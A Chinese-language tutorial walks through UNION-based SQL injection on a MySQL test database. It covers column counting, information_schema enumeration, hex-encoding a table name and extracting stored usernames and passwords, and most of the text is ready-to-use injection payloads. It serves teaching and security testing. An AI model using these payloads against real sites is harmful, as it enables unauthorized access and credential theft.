SQL分为两种,一种是整型,一种是字符型的,网上很多什么post注入,cookie注入什么的都是指的注入的方式而已
实质上来说就分为这两种了,现在测试用到的就是Get的方式注入,也就url上的参数来注入
数据表如下:四张表,一个数据库,其中一张表存放了账号密码
一般站点的查询都这么写 SELECT * from zsstest.mysqltest1 WHERE id=值 ,然后返回数据到页面
第一步:判断当前表的字段总数,一般查询的当前数据库就是站点使用的数据库(为后面的联合查询做准备,应为联合查询字段数量一定要对)
SELECT * from zsstest.mysqltest1 WHERE id=1 ORDER BY 6 或者使用 group by 7报错,6不报错,说明是6个字段 那么假如的语句为:ORDER BY 6
第二步:使用联合查询获取到当前数据库名(利用自带函数查询)
那么使用联合查询 union and 1=2 union select 1,USER(),DATABASE(),VERSION(),1,1 那么总的语句就是 SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select 1,USER(),DATABASE(),VERSION(),1,1 limit 0,1 可以查看到当前用户和当前数据库和版本,还有一些其他的数据库函数也可以使用
第三步:获取表名(利用mysql自带库中的信息查询)
and 1=2 union select TABLE_NAME,1,1,1,1,1 from information_schema.TABLES where TABLE_SCHEMA='zsstest' LIMIT 0,1 and 1=2为假,所以前面这段话SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2则为假,那么不会查询结果,直接查询后面的结果输出, 那么union select TABLE_NAME,1,1,1,1,1 from information_schema.TABLES where TABLE_SCHEMA='zsstest' LIMIT 0,1 查询到的就是information_schema.TABLES的所有表,条件是TABLE_SCHEMA='zsstest',也就是我们上一步获取到的数据库名,那么就可以获取到当前数据库的所有表了 SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select TABLE_NAME,1,1,1,1,1 from information_schema.TABLES where TABLE_SCHEMA='zsstest' LIMIT 0,1
第四步:爆字段(依旧利用自带库中的信息)
在第三步我知道了admininfo表可能存的是账号密码,那么就来查询这张表 and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name='admininfo' LIMIT 0,1 and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name='admininfo' LIMIT 1,1 and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name='admininfo' LIMIT 2,1 依旧and 1=2让前面查询为假,不一定要and 1=2,只要让前面为假就行,否则可能在页面上显示不了我们需要查询的信息 column_name为字段名,information_schema.COLUMNs表存放着字段名,当条件为上一步查到的表名,也就是admininfo,如果被限制了''""符号的输入,那么可以使用个十六进制,使用burpsuite中工具将其admininfo表名 转化十六进制数 SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name='admininfo' LIMIT 1,1 SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name=0x61646d696e696e666f and TABLE_SCHEMA='zsstest' LIMIT 1,1 假如有多个库里面的表名一样,那么再加上数据库名的条件就可以准确查询出来 and TABLE_SCHEMA='zsstest'
第五步:查内容(直接sql联合查询)
获取到了数据库名,表名,字段名,那么很容易能够查询到数据内容了,也就是我们需要的账号密码 SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select user,pawd,1,1,1,1 from zsstest.admininfo LIMIT 0,1